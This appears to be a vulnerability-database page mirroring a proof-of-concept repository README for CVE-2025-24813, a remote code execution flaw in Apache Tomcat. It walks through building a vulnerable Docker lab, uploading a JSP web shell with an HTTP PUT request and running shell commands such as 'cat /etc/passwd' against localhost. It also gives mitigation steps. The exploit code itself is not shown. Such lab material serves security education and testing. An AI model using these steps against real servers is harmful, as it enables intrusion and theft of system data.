CVE-2025-24813 PoC — Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT

Source

Associated Vulnerability

Description

 Apache Tomcat PUT JSP RCE - CVE-2025-24813 - Exploit & PoC

Readme

# 🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE Exploit

![CVE](https://img.shields.io/badge/CVE-2025--24813-red)
![Exploit-Status](https://img.shields.io/badge/status-exploitable-critical)
![Platform](https://img.shields.io/badge/platform-Apache%20Tomcat-blue)
![Language](https://img.shields.io/badge/language-Python%203-yellow)
![Dockerized](https://img.shields.io/badge/env-Docker-green)
![License](https://img.shields.io/github/license/Shivshantp/cve-2025-24813)

This repository contains a complete proof-of-concept (PoC) for **CVE-2025-24813**, a Remote Code Execution (RCE) vulnerability in Apache Tomcat using the HTTP PUT method to deploy a malicious JSP web shell.

> 🔥 This exploit demonstrates how an attacker can achieve **RCE** via file upload and payload execution in improperly secured Tomcat instances.

---

## 📁 Project Structure

```
CVE-2025-24813/
├── docker/                         
│   ├── Dockerfile
│   └── web.xml                    
├── exploit/                        
│   ├── 1_exploit_cve_2025_24813.py
│   └── shell.jsp
├── screenshots/                    
│   ├── 1_tomcat_running.png
│   ├── 2_docker_started.png
│   ├── 3_upload_shell.png
│   ├── 4_run_python_exploit.png
│   ├── 5_access_shell_whoami.png
│   ├── 6_view_etc_passwd.png
│   ├── 7_run_uname.png
│   ├── 8_run_id.png
│   └── 9_run_pwd.png
├── .gitignore
├── LICENSE
└── README.md
```

---

## 🚀 Exploitation Steps

### 1️⃣ Setup Docker Environment

```bash
cd docker
sudo docker build -t cve-24813-tomcat .
sudo docker run -it -p 8080:8080 cve-24813-tomcat
```

📸 ![Tomcat Running](./screenshots/1_tomcat_running.png)  
📸 ![Docker Started](./screenshots/2_docker_started.png)

---

### 2️⃣ Upload Malicious JSP Shell

```bash
curl -X PUT --upload-file exploit/shell.jsp http://localhost:8080/shell.jsp
```

📸 ![Upload JSP](./screenshots/3_upload_shell_jsp.png)

---

### 3️⃣ Execute Python Exploit

```bash
python3 exploit/1_exploit_cve_2025_24813.py
```

📸 ![Run Exploit](./screenshots/4_run_python_exploit.png)

---

### 4️⃣ Interact with the Web Shell

```bash
http://localhost:8080/shell.jsp?cmd=id
http://localhost:8080/shell.jsp?cmd=uname -a
http://localhost:8080/shell.jsp?cmd=cat /etc/passwd
```

📸 ![whoami](./screenshots/5_access_shell_whoami.png)  
📸 ![passwd](./screenshots/6_view_etc_passwd.png)  
📸 ![uname](./screenshots/7_run_uname_a.png)  
📸 ![id](./screenshots/8_run_id.png)  
📸 ![pwd](./screenshots/9_run_pwd.png)

---

## 🧩 Features

- 🔧 Docker-based setup of vulnerable Apache Tomcat server
- 📥 PUT method abuse to upload and trigger JSP web shells
- 🐍 Python-based PoC script
- 📸 Full screenshot-based walkthrough
- 📚 Ideal for red team simulation & education

---

## 🛠️ How to Patch (Mitigation)

- 🚫 Disable PUT/DELETE methods in `web.xml` or server config
- ⛓️ Use security manager or stricter servlet container controls
- 🔐 Apply file-level upload filters and validation
- 🧱 Set up WAF to block unauthorized PUT requests
- ✅ Upgrade to a **secure and patched version** of Apache Tomcat

---

## ⚠️ Disclaimer

> This project is for **educational and research purposes only**. Unauthorized testing, exploitation, or use on systems you do not own or have permission to test is illegal and unethical.

---

## 👨‍💻 Author

**Shivshant Patil**  
Certified Ethical Hacker (CEH v13)  
B.Tech Computer Engineering Graduate  
🔗 [LinkedIn](https://www.linkedin.com/in/shivshant-patil-b58aaa281)  
🔗 [GitHub](https://github.com/Shivshantp)

---

File Snapshot

 [4.0K]  /data/pocs/5e83d9f1ccac090ae41f615e43dd29ccedf89e96
├── [4.0K]  docker
│   ├── [ 486]  Dockerfile
│   └── [169K]  web.xml
├── [4.0K]  exploit
│   ├── [1.1K]  1. exploit_cve_2025_24813.py
│   └── [ 469]  2. shell.jsp
├── [1.0K]  LICENSE
├── [3.6K]  README.md
└── [4.0K]  screenshots
    ├── [ 53K]  1_tomcat_running.png
    ├── [316K]  2_docker_started.png
    ├── [ 57K]  3_upload_shell_jsp.png
    ├── [124K]  4_run_python_exploit.png
    ├── [ 30K]  5_access_shell_whoami.png
    ├── [ 84K]  6_view_etc_passwd.png
    ├── [ 37K]  7_run_uname_a.png
    ├── [ 23K]  8_run_id.png
    └── [ 22K]  9_run_pwd.png

3 directories, 15 files

Remarks